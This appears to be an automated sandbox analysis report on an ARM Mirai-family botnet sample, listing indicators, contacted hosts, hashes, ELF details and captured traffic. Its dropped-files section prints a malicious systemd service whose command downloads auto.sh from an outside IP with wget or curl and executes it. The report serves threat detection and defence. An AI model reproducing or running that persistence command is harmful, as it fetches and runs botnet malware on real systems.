Source: arm5.elf, 6251.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6415.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6417.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6426.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6434.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6436.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6443.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6452.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6454.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6463.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6465.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6494.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6497.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6503.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6512.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6514.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6523.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: JV!/etc/qemu-binfmt/arm
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: p$0!/proc/79/cmdline1/tmp/vmware-root_721-4290559889
Source: arm5.elf, 6251.1.00007fff73111000.00007fff73132000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.3Oc7gU
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware/VGAuth
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: JV/arm/var/lib/vmware/VGAuth/aliasStoreP /var/lib/PackageKitQpO
Source: arm5.elf, 6673.1.00007fba34045000.00007fba34250000.rw-.sdmp	Binary or memory string: /var/lib/vmware
Source: arm5.elf, 6673.1.00007fba34045000.00007fba34250000.rw-.sdmp	Binary or memory string: 8/var/lib/vmware/VGAuth/aliasStore
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: JV/arm/var/lib/vmware1
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: P /var/lib/vmwareQ
Source: arm5.elf, 6673.1.00007fba34045000.00007fba34250000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth/aliasStore
Source: arm5.elf, 6673.1.00007fba34045000.00007fba34250000.rw-.sdmp	Binary or memory string: /var/lib/vmware4/var/lib/PackageKit
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: P /var/lib/vmware/VGAuthQ
Source: arm5.elf, 6673.1.00007fba34034000.00007fba34045000.rw-.sdmp	Binary or memory string: T/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-fwupd.service-gB0a9f/tmpX/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-logind.service-IofUpj\/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-systemd-logind.service-IofUpj/tmp$/tmp/vmware-root_721-4290559889P/tmp/systemd-private-ec795e01d534441298b2bf519e4c51fc-upower.service-x0xO0i4/tmp/snap.lxd
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: /tmp/vmware-root_721-4290559889
Source: arm5.elf, 6673.1.00007fba34045000.00007fba34250000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStore
Source: arm5.elf, 6673.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: JV/arm/var/lib/vmware/VGAuthP0/var/lib/vmware/VGAuth/aliasStoreQO
Source: arm5.elf, 6251.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6415.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6417.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6426.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6434.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6436.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6443.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6452.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6454.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6463.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6465.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6494.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6497.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6503.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6512.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6514.1.0000564aaf725000.0000564aaf874000.rw-.sdmp, arm5.elf, 6523.1.0000564aaf725000.0000564aaf874000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 6673.1.00007fba34045000.00007fba34250000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth
Source: arm5.elf, 6251.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6415.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6417.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6426.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6434.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6436.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6443.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6452.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6454.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6463.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6465.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6494.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6497.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6503.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6512.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6514.1.00007fff73111000.00007fff73132000.rw-.sdmp, arm5.elf, 6523.1.00007fff73111000.00007fff73132000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 6251.1.00007fff73111000.00007fff73132000.rw-.sdmp	Binary or memory string: JV/tmp/qemu-open.3Oc7gU:
Source: arm5.elf, 6673.1.00007fba34045000.00007fba34250000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth4/var/lib/NetworkManager\|P

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm5.elf	51%	Virustotal		Browse
arm5.elf	53%	ReversingLabs	Linux.Trojan.Mirai
arm5.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tcpdown.su	45.200.149.249	true	false	high
tcpdown.su\|1	unknown	unknown	false	unknown
tcpdown.suo. [malformed]	unknown	unknown	true	unknown
tcpdown.su	unknown	unknown	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.18.192/auto.sh	startup_command.service.17.dr	false		high
http://154.216.18.192/auto.sh;	arm5.elf, startup_command.service.17.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
107.175.130.16	unknown	United States	36352	AS-COLOCROSSINGUS	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
45.200.149.249	tcpdown.su	Seychelles	328608	Africa-on-Cloud-ASZA	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
107.175.130.16	arm.elf	Get hash	malicious	Unknown	Browse
107.175.130.16	arm5.elf	Get hash	malicious	Unknown	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
45.200.149.249	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
91.189.91.43	mpsl.elf	Get hash	malicious	Unknown	Browse
	Mozi.m.elf	Get hash	malicious	Unknown	Browse
	lx64.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	185.232.205.48-bot.mpsl-2025-01-01T09_56_39.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	B_Y_T_E_x86.elf	Get hash	malicious	Mirai, Okiru	Browse
	i.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	mpsl.elf	Get hash	malicious	Unknown	Browse
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse
	Mozi.m.elf	Get hash	malicious	Unknown	Browse
	lx64.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	185.232.205.48-bot.mpsl-2025-01-01T09_56_39.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	B_Y_T_E_x86.elf	Get hash	malicious	Mirai, Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tcpdown.su	x86_64.crdownload.0.dr	Get hash	malicious	Unknown	Browse	104.168.45.11
tcpdown.su	jmhrc116WA.elf	Get hash	malicious	Unknown	Browse	172.245.119.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Mozi.m.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	lx64.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	91.189.91.42
	185.232.205.48-bot.mpsl-2025-01-01T09_56_39.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	91.189.91.42
Africa-on-Cloud-ASZA	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	DF2.exe	Get hash	malicious	Unknown	Browse	45.200.148.158
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	mips.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	http://trezorbridge.org/	Get hash	malicious	Unknown	Browse	45.200.149.223
	vcimanagement.armv4l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.63.21
	vcimanagement.armv7l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.216.13
	vcimanagement.powerpc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.141.216
	vcimanagement.armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.204.74
	vcimanagement.mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.240.215.166
AS-COLOCROSSINGUS	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
	boatnet.m68k.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
INIT7CH	mpsl.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Mozi.m.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	lx64.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	109.202.202.202
	185.232.205.48-bot.mpsl-2025-01-01T09_56_39.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	109.202.202.202
	B_Y_T_E_x86.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/systemd/system/startup_command.service

Download File

Process:	/tmp/arm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	5.140421405816541
Encrypted:	false
SSDEEP:	6:z8jvIERZAMzdK+KOnFfltZCrXb1vN16R1E/Ls7QkhILQmWA4Rv:z+vIERZAOK+PCrXpvL6vJ73GLHWrv
MD5:	4D2C868F454B6C55731485CF0F886DC0
SHA1:	032B125DE0A28DCEE8D8D25FBEEB56DB7F403F04
SHA-256:	8C4AE1B82477698F3A8C273B439CB9079794AFB8FC33CD4DEF854936BA37EA2C
SHA-512:	060B2413A0CB2DEC0DB059C190467B5CB0D76209EFFEA4AE3DE2701FA71429B811A6F7E11E813B26806CF72578D1F32B608A02A4CE670EC58B5B65433E3CF11D
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=Startup Command.After=network.target..[Service].ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null).RemainAfterExit=yes..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.3Oc7gU (deleted)

Download File

Process:	/tmp/arm5.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:TggLAJ5:Tgg03
MD5:	A737667E3E61E716C83359F35BC141DA
SHA1:	E7C3DBC96B90E28F18CFB1CADE0C7AF673FFAA57
SHA-256:	2D8A0F430A3339E16B223D653251534539D95B1DF7142834F68D9172B1656E37
SHA-512:	0ACAFC3F3F40EDEF3D9F2F1CCE09BAF5004FD8488434F4903F18B9B7E77B4A6CDF7F84A47856CB2FDAA4B1B0F70FC2A3EDDE82BD29831FF54CB75F4E4C74FE74
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm5.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.814813223583491
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm5.elf
File size:	83'344 bytes
MD5:	8114773b3827da1450fa61dda0679c8b
SHA1:	db663b5e80ce27edbb3d06b81bca78b45cc5b1dc
SHA256:	b6720048ed8dc114296bb3007adca57f649247dddadde777b00019aaadd1d360
SHA512:	c7c86749ad2c4395ba5d9156fe271d6522406245fba31f3febc57b451cdc70ba070b7652bf753c534c0d51b8c1460bff9cca4ea93023521a3f1957280bd71aa8
SSDEEP:	1536:ih+1IWRBh2N3+SDY/uFMPpa/C4fNXAVBhhl8Xx4UngTBgl:ih+ba0dBa/CaVAVbhlCOTSl
TLSH:	30833B92BD815A13C5D5227BF76E028D372663A8D3EF3243DD266F21378692B0D77601
File Content Preview:	.ELF...a..........(.........4....D......4. ...(......................8...8...............@...@...@..................Q.td..................................-...L."...\C..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	82944
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x10da8	0x0	0x6	AX	16
.fini	PROGBITS	0x18e58	0x10e58	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x18e6c	0x10e6c	0x2a78	0x0	0x2	A	4
.ctors	PROGBITS	0x24000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x24008	0x14008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x24014	0x14014	0x3ac	0x0	0x3	WA	4
.bss	NOBITS	0x243c0	0x143c0	0xe714	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x143c0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x138e4	0x138e4	5.9241	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x14000	0x24000	0x24000	0x3c0	0xead4	2.7648	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 18:41:50.417949915 CET	43928	443	192.168.2.23	91.189.91.42
Jan 1, 2025 18:41:51.983058929 CET	38172	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:41:51.987915993 CET	2601	38172	45.200.149.249	192.168.2.23
Jan 1, 2025 18:41:51.987999916 CET	38172	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:41:51.992346048 CET	38172	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:41:51.997083902 CET	2601	38172	45.200.149.249	192.168.2.23
Jan 1, 2025 18:41:51.997124910 CET	38172	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:41:52.001912117 CET	2601	38172	45.200.149.249	192.168.2.23
Jan 1, 2025 18:41:52.805953979 CET	2601	38172	45.200.149.249	192.168.2.23
Jan 1, 2025 18:41:52.806148052 CET	38172	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:41:52.806148052 CET	38172	2601	192.168.2.23	45.200.149.249
Jan 1, 2025 18:41:55.797171116 CET	42836	443	192.168.2.23	91.189.91.43
Jan 1, 2025 18:41:56.817022085 CET	42516	80	192.168.2.23	109.202.202.202
Jan 1, 2025 18:41:58.342628002 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.347486973 CET	7722	57096	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.347548008 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.349318981 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.349364996 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.354084015 CET	7722	57096	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.388273954 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.393199921 CET	7722	57098	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.393253088 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.394457102 CET	7722	57096	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.419857025 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.419967890 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.424664974 CET	7722	57098	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.470477104 CET	7722	57098	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.712631941 CET	7722	57096	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.712940931 CET	57096	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.759671926 CET	7722	57098	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.759718895 CET	57098	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.775278091 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.780080080 CET	7722	57100	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.780163050 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.781451941 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.781451941 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:58.786262989 CET	7722	57100	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:58.826612949 CET	7722	57100	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.020112991 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.025121927 CET	7722	57102	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.025173903 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.028956890 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.029009104 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.033723116 CET	7722	57102	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.046037912 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.050817013 CET	7722	57104	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.050973892 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.078531981 CET	7722	57102	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.107074022 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.107122898 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.111875057 CET	7722	57104	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.154532909 CET	7722	57104	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.156517029 CET	7722	57100	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.156578064 CET	57100	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.264859915 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.269944906 CET	7722	57106	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.269994974 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.273803949 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.273854017 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.278642893 CET	7722	57106	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.322469950 CET	7722	57106	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.397531033 CET	7722	57102	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.397623062 CET	57102	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.419223070 CET	7722	57104	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.419282913 CET	57104	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:41:59.656899929 CET	7722	57106	107.175.130.16	192.168.2.23
Jan 1, 2025 18:41:59.656963110 CET	57106	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.047020912 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.051907063 CET	7722	57108	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:04.052004099 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.052495956 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.053675890 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.053752899 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.057234049 CET	7722	57110	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:04.057306051 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.058432102 CET	7722	57108	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:04.102579117 CET	7722	57108	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:04.111082077 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.111082077 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.115886927 CET	7722	57110	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:04.162477970 CET	7722	57110	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:04.427357912 CET	7722	57108	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:04.427442074 CET	57108	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:04.428647041 CET	7722	57110	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:04.428698063 CET	57110	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.089267015 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.094157934 CET	7722	57112	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:09.094274044 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.098383904 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.098440886 CET	57112	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.103164911 CET	7722	57112	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:09.106621981 CET	57114	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:42:09.111547947 CET	7722	57114	107.175.130.16	192.168.2.23
Jan 1, 2025 18:42:09.114413977 CET	57114	7722	192.168.2.23	107.175.130.16
